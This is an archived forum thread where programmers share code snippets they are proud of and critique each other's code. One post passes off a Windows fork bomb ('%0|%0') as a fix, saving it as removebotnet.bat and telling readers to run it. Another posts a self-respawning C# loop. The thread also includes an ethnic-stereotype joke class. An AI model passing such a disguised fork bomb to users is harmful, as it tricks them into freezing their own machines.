[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

Code snipets that you are actually proud of

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 103
Thread images: 18

File: 1468358954668.png (171KB, 946x887px) Image search: [Google]
1468358954668.png
171KB, 946x887px
Reply with snipets that you are actually proud of

>inb4 datamining
>>
>>55941292
protected bool CheckPostRequirements()
{
LabelError.Text = "";
if (FileUploadPostImage.HasFile == false)
{

LabelError.Text += "Invalid file type! ";
}
else if (!FileUploadPostImage.FileName.EndsWith(".jpg"))
{
if (!FileUploadPostImage.FileName.EndsWith(".png"))
{
if (!FileUploadPostImage.FileName.EndsWith(".gif"))
{
LabelError.Text += "";
}
}

}
else if (FileUploadPostImage.FileContent.Length > 2097152)
{
LabelError.Text += "File size cannot exceed two megabytes. ";
}
else if (TextBoxCreatePost.Text.Length < 1 || TextBoxCreatePost.Text.Length > 2500)
{
LabelError.Text += "Invalid post length. ";
}
else if (FileUploadPostImage.FileName.Length < 1 || FileUploadPostImage.FileName.Length > 255)
{
LabelError.Text += "Invalid file name length. ";
}
else if (UserControl.IsUserBanned(_ipAddress: IPHelper.GetIPv4Address(_errorLabel:LabelError), _errorLabel: LabelError))
{
LabelError.Text +=Environment.NewLine+" You are banned. IP:"+IPHelper.GetIPv4Address();
}
else
{
return true;
}
return false;
}

>>
>>55941292
01 PRINT "HELLO WORLD"
>>
File: set alpha.png (29KB, 942x637px) Image search: [Google]
set alpha.png
29KB, 942x637px
>>55941312
>>
>>55941338
C++?
>>
>>55941376
What did you think it was? Common Lisp?
>>
>>55941312
Lisp?
>>
>>55941424
BASIC
>>
File: 1459037284745.png (83KB, 694x801px) Image search: [Google]
1459037284745.png
83KB, 694x801px
>>
File: e1bfa572572ce1ddc9b44c19.gif (125KB, 300x300px) Image search: [Google]
e1bfa572572ce1ddc9b44c19.gif
125KB, 300x300px
>>55941292
The worst part is, you know CS Grad just typed out every option in each of those select fields. He thought he was pretty slick too, copy-pasting the line over and over and then changing the numbers in each one.
>>
File: Java plz kill me.png (784KB, 1366x768px) Image search: [Google]
Java plz kill me.png
784KB, 1366x768px
>>
static void Main()
{
while (true) Process.Start(Assembly.GetExecutingAssembly().Location);
}
>>
>>55941312
02 GOTO 01
>>
I'm unusually proud of my half-golfed code
>>
>>55941648
02 GOTO "01"*
>>
>>55941338
>if (a) if (b) rather than if (a && b)
>255 rather than 0xff
>(a && (b && c)) rather than (a && b && c)
>if and else if both require *subpx1 != 0 rather than if (*subpx1 == 0) return true at start
>>
>>55941675
I'd like to point out that there are situations where if (a && b) would error where if (a) if (b) would not
>>
>>55941604
why are you indenting each line of keyPressed? Also why are you using += or -=
>>
Hey guys, open up notepad on windows and copy the following:

%0|%0

then save the file as removebotnet.bat
>>
>>55941723
No it won't
https://en.wikipedia.org/wiki/Short-circuit_evaluation
>>
>>55941727
then run the file cause it will remove botnet
>>
>>55941735
Huh, it's nice to learn something new. Thanks anon
>>
>>55941790
Yeah, you gotta watch out for that optimization though. it's bitten me in the butt before where if(a && b()), where a was false and b had a necessary side effect regardless of a.

Also, unless I'm not accounting for something, you don't need that *subpx1 != alphaMax check. If they are equal:
per = *subpx1 / alphaMax = 1
dst_color = 1 * a = a
*subpx1 = dst_color = a

That's equivalent to the else that would be processed.
>>
File: 2016-08-05-232327_558x468_scrot.png (16KB, 558x468px) Image search: [Google]
2016-08-05-232327_558x468_scrot.png
16KB, 558x468px
>>55941292
>>
#include <stdlib.h>
#include <math.h>
#include <stdio.h>

float f_sqr(float n) {
int w = *(int*)(&n);
int e = ((w >> 23) & 0xFF) - 127;
int m = w & (8388607);
int x = ((((e << 1) + 127) << 23) | ((int) pow(m + 1, 2)));
return *(float*)&x;
}

int main(int argc, char* argv[]) {
printf("Nightmares: %f\n", f_sqr(5.0f));
}


my hypothetical bithack square function doesn't work, but I'm proud of it.
>>
whats c good for?
>>
>>55941974
everything
>>
>>55941974
>*gasp*
>>
>>55941974
nothing
>>
>>55941974
something
>>
>>55941974
anything
>>
>>55941974
a couple of things
>>
>>55941974
exactly tree fiddy things
>>
>>55941292
/**
* Pajeet simulator
* @author Pajeet Rajesh Patel
* @version 1.1
*/
public class Pajeet{
private String hasName;
private String inLocation = "tech support";
private boolean bowelsAreFull = false;
private boolean isHungry = true;

public Pajeet( String hasName){ this.hasName = hasName;}

public void doTheNeedful( boolean kindly){
if( getIsHungry( )==true ){
eat( "curry");}
if( getBowelsAreFull( )==true ){
poo( );}
if( kindly==true ){
setInLocation( "tech support");}
doTheNeedful( kindly==true ? kindly==false : kindly==false);}

public void eat( String food){
if(food.indexOf( "curry") >= 0){
setBowelsAreFull( true);}
setIsHungry( false);
doTheNeedful( true);}

public void poo() {
setLocation( "street");
setBowelsAreFull( false);
setIsHungry( true);}

public String getHasName( ){ return this.hasName;}

public String getInLocation( ){ return this.inLocation;}

public boolean getBowelsAreFull( ){
return this.bowelsAreFull==false ? this.bowelsAreFull==false : this.bowelsAreFull== true;}

public boolean getIsHungry( ){
return this.isHungry==false ? this.isHungry==false : this.isHungry==true;}

public void setInLocation( String inLocation){ this.inLocation = inLocation;}

public void setBowelsAreFull( boolean bowelsAreFull){
if( bowelsAreFull==false ){
this.bowelsAreFull = bowelsAreFull==true;}
else{
this.bowelsAreFull = bowelsAreFull==true;} }

public void setIsHungry( boolean isHungry){
if( isHungry==false ){
this.isHungry = isHungry==true;}
else{
this.isHungry = isHungry==true;} } }
>>
>>55941424
No, this is
(TAGBODY
10 (PRINT "HELLO WORLD")
20 (GO 10))
>>
>>55942003
>>55942016
>>55942027
YES NO
>>
File: 1403778180974.gif (1MB, 499x654px) Image search: [Google]
1403778180974.gif
1MB, 499x654px
>>55942085
>>
>>55942119
MAYBE
>>
>>55942135
SHAZBOT!
>>
>>55942135
SO
>>
>>55942135
I DON'T KNOW
>>
C-C-C-
>>
>>55941727
>>55941748
thanks senpai it worked :^)
>>
>>55941616
forkbomb
>>
>>55941654
please never get a job

>>55941727
don't do this, it installs gentoo
>>
>>55941974
c is good for spelling 'cake' or 'carrot'


you could even go as wild as spelling 'cucumber' (notice the two Cs?)
>>
>>55942207
U-U-U-
>>
>>55942247
B-B-B-
>>
>>55941292
>data != code
>>
>>55941300
File extension check is ass incarnate
>get extension using System.IO.Path.GetExtension method
>use an IEnumerable containing all of the valid extensions
>test for the IEnumerable containing the results of the GetExtension method call
>use contents of IEnumerable to dynamically create error message listing valid extension types

private static IEnumerable<string> ValidFileExtensions = new[] {
".jpg",
".png",
".gif"
};

private string InvalidFileExtensionMsg =
"Valid file extensions: " + string.Join( ", ", ValidFileExtensions );

// in CheckPostRequirements method
var fileExt = System.IO.Path.GetExtension( FileUploadPostImage.FileName )
.ToLower();

if( !ValidFileExtensions.Contains( fileExt ) )
{
LabelError.Text += InvalidFileExtensionMsg;
}


Your homework assignment is to figure out why the decisions I've made above are beneficial.
>>
>>55941583
If he's paid hourly and no one reviews his code then his is the best solution.
>>
>>55941814
That's why methods with side effects should not be executed within condition statements. Call it prior and save the result to a variable if you want to ensure its execution (and make it obvious it always executes).

Clever code is clever but hard to read and follow for pretty much anyone other than yourself. Simplistic code is the best code as long as there is no significant performance degredation.
>>
>>55941604
This is making me cringe so hard.

>those desktop icons
>utorrent
>shortcuts on both the desktop and taskbar
>tiny ass window
>not using a switch statement
>not using += and -=
>those misleading indentations
>seriously what the fuck is up with your indentations

Just stop.
>>
private static void Compare(XContainer current, XContainer schema)
{
if (current == null || schema == null)
return;

// add
foreach (var element in schema.Elements())
{
if (!current.Elements().Any(e => e.Name.Equals(element.Name)))
current.Add(element.HasElements
? new XElement(element.Name)
: new XElement(element.Name, element.Value));

if (element.HasElements)
Compare(current.Element(element.Name.ToString()), element);
}

var remove = new List<XElement>();

// remove
foreach (var element in current.Elements())
{
if (!schema.Elements().Any(e => e.Name.Equals(element.Name)))
remove.Add(element);
}

remove.ForEach(e => e.Remove());
}


compare the loaded xml nodes to the schema and add/remove any missing to any depth with recursion

i'm a retard and i made it work, so never give up on your dreams /g/, im going to bed now, good night
>>
>>55941300
what a hellish nightmare that snippet is
>>
File: 1464783841467.png (584KB, 836x678px) Image search: [Google]
1464783841467.png
584KB, 836x678px
>>55942301
>adding spaces inbetween parens for literally no reaseon
>>
        this.beforeattack = function(_monname, _cb) {
for (let i = 0; i < _conn.area.areaMonsters.length; i++) {
let monobj = _conn.area.areaMonsters[i];
if (monobj.strMonName.toLowerCase() === _monname.toLowerCase()) {
let monid = monobj.MonID;
for (let y = 0; y < _conn.area.areaMonstersOrder.length; y++) {
let monreal = _conn.area.areaMonstersOrder[y];
if (monreal.MonID === monid) {
console.info('[%s] Attacking "%s"', _conn.id, monobj.strMonName);
_conn.sendpacket('%move%' + _conn.area.areaId + '%' + monreal.Frame + '%Enter%');
_cb(monreal.MonMapID);
break;
}
}
break;
}
}
};


nobel prize tier code here
>>
>>55942085
Kek, that reminds me of this little snippet I made some months ago:
https://glot.io/snippets/ef9lgxvy3a

Fucking indian guy killed his own teacher because he stole some code from him.
>>
>>55942301
I honestly have no idea but i'm really interested to know why that snippet would be better.
>>
File: image.png (282KB, 578x572px) Image search: [Google]
image.png
282KB, 578x572px
if(cond) func();


Panties drop every time I dole out them if-one-liners.
>>
>>55942379
Every new element you add to current is then checked against every remaining element in your foreach loop as well as below in the remove block of code (when you know you are not removing them). A more efficient solution would be to create full outer join of elements then process each tuple appropriately. (Also, the method name of Compare isn't very good as it's doing much more than comparing)

>full outer join
var outer = schema.Elementals();
var inner = current.Elementals();

var fullOuterJoin = outer.GroupJoin(
current.Elements(),
o => o.Name,
i => i.Name,
( o, i ) => new { o, i = i.DefaultIfEmpty() } )
.SelectMany( t =>
t.i.Select( i => new { SchemaElement = t.o, CurrentElement = i } )
.Union( inner.Except( outer, /*IEqualityComparer here*/ )
.Select( i => new { SchemaElement = ( XElement )null, CurrentElement = i } ) );


>process
foreach( var t in fullOuterJoin )
{
if( null == t.SchemaElement )
{
// remove t.CurrentElement
}
else if( null == t.CurrentElement )
{
// add t.SchemaElement
}
else if( t.CurrentElement.HasElements )
{
Compare( t.CurrentElement, t.SchemaElement );
}
}
>>
>>55942744

I find it infinitely more readable. I picked up the habit when I worked for Micros where it was a part of their coding standards.
>>
>>55942085
I mean, what other functions are there?
>>
>>55943026
Let's say you want to add a new allowable image type. With my code, you simply add it to the ValidFileExtensions array - merely ~8 key presses. With your method, you must copy/past one of the existing if blocks and remember to modify the file extension in the boolean condition to the new file extension. You must then add the new file extension to the error message.

Let's say you want to remove an existing allowable image type. With my code you simply highlight the line that contains the extension and delete it. With your code you must delete the if statement corresponding to the file extension to disallow as well as a corresponding closing curly brace since you have nested if statements. Then you must remove the file extension from your error message.

My way has a single, extremely simple step to either add or remove an allowed file extension. Your way has multiple steps for each creating much more room for error as well as leaving possible inconsistencies (e.g. the extension you add to the error message may not match the extension in the boolean condition). Your way also adds bloat by adding 3 lines of code for each new file extension (boolean condition, open curly brace, close curly brace, but this could be avoided if you lump all of your extension checks into a single boolean condition).
>>
>>55943186
I would imagine it would also make front-end coding a breeze since changing allowable extension types would be as easy as removing or adding the array. Thanks for explaining it.
>>
>>55943238

My pleasure.
>>
>>55942085
>cannot find symbol:
>setLocation("street");

Kek
>>
>>55943171

produceNewUnderperformingGPU( float moneyToBurn );
>>
>>55941725

IDE autoindenter probably doesn't recognize that the statement following an IF statement can occur on the same line if your coding style is shit.
>>
File: code c++.png (638KB, 4760x4986px) Image search: [Google]
code c++.png
638KB, 4760x4986px
>>55941292
>>
>>55941292


def parse(decompImgHex,nibblesPerPixel,nibblesPerSample,zWidth):
# this does will break a list into a list of sublists. Both the
# amount of hex digits in each entry and entries per sublist
# are taken in as arguments. also it removes the 2 hex digits of
# the filter bit after zWidth pixels (pixels = sublist)
def listToStr(_list):
t = ""
for i in _list:
t = t + str(i)
return t
lines = listToStr(decompImgHex)
nibblesPerLine = (nibblesPerPixel*zWidth)+2
nibblesPerLine = int(nibblesPerLine)
nibblesPerPixel = int(nibblesPerPixel)
nibblesPerSample = int(nibblesPerSample)
temp = []
for i in range(0,int(len(lines)),nibblesPerLine):
temp.append(lines[i+2:i+nibblesPerLine])
decompImgHex = temp
lasti = 0
pixels = []
decompImgHex = listToStr(decompImgHex)
for i in range(nibblesPerPixel,len(decompImgHex)+1,nibblesPerPixel):
rpixel = decompImgHex[lasti:i]
rpixel = listToStr(rpixel)
pixel = []
lastj = 0
for j in range(nibblesPerSample,len(rpixel)+1,nibblesPerSample):
sample = rpixel[lastj:j]
pixel.append(sample)
lastj = j
pixels.append(pixel)
lasti = i
return pixels

>>
>>55944290
>bool primeCheckUgly
well, at least it knows what it is
>>
File: 562.jpg (36KB, 600x600px) Image search: [Google]
562.jpg
36KB, 600x600px
>>55941604
>iTunes
>Memecraft
>Skype
>Utorrent
>Google Botnet
Kill yourself my man
>>
>>55941974

NEETs
>>
>>55943186
Wow that was [b] ENTERPRISE QUALITY [/b] post
>>
>>55941292

## creates an identity matrix in ruby, for example:
# [1, 0, 0, 0, 0]
# [0, 1, 0, 0, 0]
# [0, 0, 1, 0, 0]
# [0, 0, 0, 1, 0]
# [0, 0, 0, 0, 1]

def eye(a)
a.times.inject([]) do |acc, i|
acc << (10**(a-1))
. to_s
. split(//)
. map{|i| i.to_i}
. rotate(-i)
end
end
>>
>>55941654
>enc, dec
>one letter variables
>using shorthand if else statements with such long parts of code
>no fucking comment anywhere
how the fuck am i supposed to understand what this snippet does without fucking spending an hour on dissecting it?

not readable/10
>>
>>55941292
My arbitrary integer averaging function, with no overflow or widening to other types:
#include <stdlib.h>

int iavg(int n, const int arr[static const n])
{
int avg = 0;
int rem[2] = {0, 0};
int add[2] = {0, 0};

for (int i = 0; i < n; ++i) {
avg += arr[i] / n;

int a = abs(arr[i] % n);
int j = arr[i] < 0;

if (rem[j] >= n - a) {
rem[j] = a - (n - rem[j]);
++add[j];
} else {
rem[j] += a;
}
}

avg += add[0] - add[1];

if (avg < 0 && rem[0] > rem[1])
++avg;
else if (avg > 0 && rem[0] < rem[1])
--avg;

return avg;
}
>>
File: 123.png (165KB, 1265x534px) Image search: [Google]
123.png
165KB, 1265x534px
>>
>>55947554
that is so disgusting. this is why I only stick to php, at least that won't visually rape me.
>>
File: Screenshot_4.png (236KB, 1919x1079px) Image search: [Google]
Screenshot_4.png
236KB, 1919x1079px
>>
File: Syndrome of a Down.jpg (67KB, 600x750px) Image search: [Google]
Syndrome of a Down.jpg
67KB, 600x750px
>>55941292
I'm not proud of any of it so I'll give you something simple.

i1 = 2
i2 = 1

counter = int(input("Maximum size prime number: "))
while i1 < counter:
if i1 % i2 == 0:
if i2 == 1:
print(i1)
i1 = i1 + 1
i2 = int(i1/2)
else:
i2 = i2 - 1

If you want it to go on forever, remove the
counter = int(input("Maximum size prime number: "))
line and replace
while i1 < counter
with
while True
.
>>
>>55948292
>visual studio
>>
>>55947532
>how the fuck am i supposed to understand what this snippet does without fucking spending an hour on dissecting it?
It's pretty easy to understand if you know how to do bencode encoding and decoding
>>
Minix kernel
>>
>>55947554
I can't quite make out how it works but the idea's damn smart:
overflowing's not a problem I often think of and, when dealing with lots of large numbers, could actually happen;
using floats to keep decimals would lead to an error margin.
I'm just wondering how to make it less complicated...
For starters, I don't know why you've got int n as it's own argument rather than doing something like const int n = arr.size() at the beginning. At most, I'd think it's for when you only want to average the first n numbers of an array.
Second would be to have a run-on sum of the remainders that adds 1 to the average every time the sum of remainders reaches (or is bigger than) n (to stop the sum of remainders from overflowing, in the small chance that that happens)... which, I think, is what you've actually done...
...
Nevermind. Just the first point, then.

Also, I don't understand what's going on with int j = arr[i] < 0; I assume j essentially acts as a boolean.
>>
I was immensely proud of myself when this bit of bash scripting worked perfectly the first time after being typed in in one go with no need for any testing or corrections:

TEMP=$(mktemp)
grep -v \# $INFILE | cut -f1-5 | sort -t \# > $OUTFILE
for file_b in ${FILES[@]}
do
comm -12 $OUTFILE <(grep -v \# $file_b | cut -f1-5 | sort -t \#) > $TEMP
mv $TEMP $OUTFILE
done
join -a1 -t \# $OUTFILE <(grep -v \# $INFILE | sed "s/\t/#&/5" | sort -t \#) | sed "s/#//" > $TEMP
sort -k1,1 -k2,2n $TEMP > $OUTFILE
rm $TEMP
>>
>>55941654
which editor is this?
>>
>>55942146
HAMANA KABEESEI
>>
>>55949632
vim
>>
>>55941292
while (function(shitHappens(){
liveLife();
});
>>
>>55941974
going fast
>>
>>55941300
>if
>{
>foo
>}
>and not
>if{
>foo
>}
>proud
>>
File: images.duckduckgo.com2.jpg (11KB, 480x360px) Image search: [Google]
images.duckduckgo.com2.jpg
11KB, 480x360px
>>55944290
>>
File: 3dClustSim.png (227KB, 1177x2100px) Image search: [Google]
3dClustSim.png
227KB, 1177x2100px
This is a snippet from 3dClustSim, one of the most commonly used software for fMRI data processing.

In case /g/ is not following scientific news, recently it was discovered that due to software bugs and some other issues pretty much all of the brain research (of the "this part of the brain does X" variety) results made in the last 15 years belong in the fucking trash.
>>
>>55949974
*That comment at the very end is also an actual comment in the code.
>>
>>55941974
learning electronics
>>
>>55942085
my fucking sides
>>
File: 3.jpg (19KB, 443x450px) Image search: [Google]
3.jpg
19KB, 443x450px
>>55949974
>>55949992
>>
class Vec {

public:
vec_t m_x;
vec_t m_y;
vec_t m_z;

Vec (vec_t x, vec_t y, vec_t z);
Vec (Vec* other);

// inplace vector-vector operators
void operator += (const Vec& other);
void operator -= (const Vec& other);
void operator *= (const Vec& other);
void operator /= (const Vec& other);
void operator = (const Vec& other);

void operator += (const vec_t& skalar);
void operator -= (const vec_t& skalar);
void operator *= (const vec_t& skalar);
void operator /= (const vec_t& skalar);

Vec operator + (const Vec& other) const;
Vec operator - (const Vec& other) const;
Vec operator * (const Vec& other) const;
Vec operator / (const Vec& other) const;

Vec operator + (const vec_t& skalar) const;
Vec operator - (const vec_t& skalar) const;
Vec operator * (const vec_t& skalar) const;
Vec operator / (const vec_t& skalar) const;

};


kek
>>
>>55941974
>triggered
>>
finally got this to work the other day:

++++++++++ [>+++++++>++++++++++>+++>+<<<<-] >++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.

it's just hello world but i'm proud of it
>>
>>55941292
POKE 20659,0
Thread posts: 103
Thread images: 18


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.